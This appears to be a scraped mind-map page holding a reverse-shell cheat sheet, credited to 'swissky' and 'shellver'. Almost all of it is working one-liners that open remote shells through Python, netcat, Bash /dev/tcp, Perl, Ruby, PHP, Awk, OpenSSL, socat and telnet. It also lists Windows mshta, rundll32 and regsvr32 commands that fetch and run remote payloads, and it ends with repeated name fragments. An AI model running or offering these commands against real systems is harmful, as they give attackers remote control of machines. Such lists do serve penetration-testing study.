Please enable JavaScript.
Coggle requires JavaScript to display documents.
Reverse Shell (python (python -c 'import socket,subprocess,os;s=socket…
Reverse Shell
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
export RHOST="127.0.0.1";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
netcat traditional
nc -e /bin/sh 127.0.0.1 4444
nc.traditional -e /bin/bash 127.0.0.1 4444
nc -c bash 127.0.0.1 4444
Ruby
ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("127.0.0.1","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Perl
perl -e 'use Socket;$i="127.0.0.1";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[127.0.0.1]:[443]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Bash TCP
bash -i >& /dev/tcp/127.0.0.1/443 0>&1
0<&196;exec 196<>/dev/tcp/127.0.0.1/443; sh <&196 >&196 2>&196
ncat
ncat 127.0.0.1 4444 -e /bin/bash
rm -f /tmp/p; mknod /tmp/p p && nc 127.0.0.1 4444 0/tmp/p
Awk
awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Bash UDP
sh -i >& /dev/udp/127.0.0.1/4242 0>&1
Php
php -r '$sock=fsockopen("127.0.0.1",443);exec("/bin/sh -i <&3 >&3 2>&3");'
OpenSSL
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:444 > /tmp/s; rm /tmp/s
Xterm
xterm -display 127.0.0.1:1
socat
socat file:
tty
,raw,echo=0 TCP-L:4242
Armitage
armitage 127.0.0.1 443 kali toor
Netcat OpenBsd
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f
mshta.exe
http://192.168.174.132:443/5EEiDSd70ET0k.hta
rundll32.exe
rundll32.exe//192.168.174.132/vabFG/test.dll,0
regsvr32
regsvr32/s /n /u /i:
http://192.168.174.132:443/xo31Jt5dIF.sct
scrobj.dll
Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet 127.0.0.1 80 0/tmp/p
swissky
shellver
syed yawar abbas (sp19-ris-023)
shellver
swissky
shelver,swissky
shellver
swissky
shellver,swissky
shellver
swissky
shellver
swissky
shellver,swissky
swissky
shellver
swissky,shellver
shellver
swisssky
shellver
swissky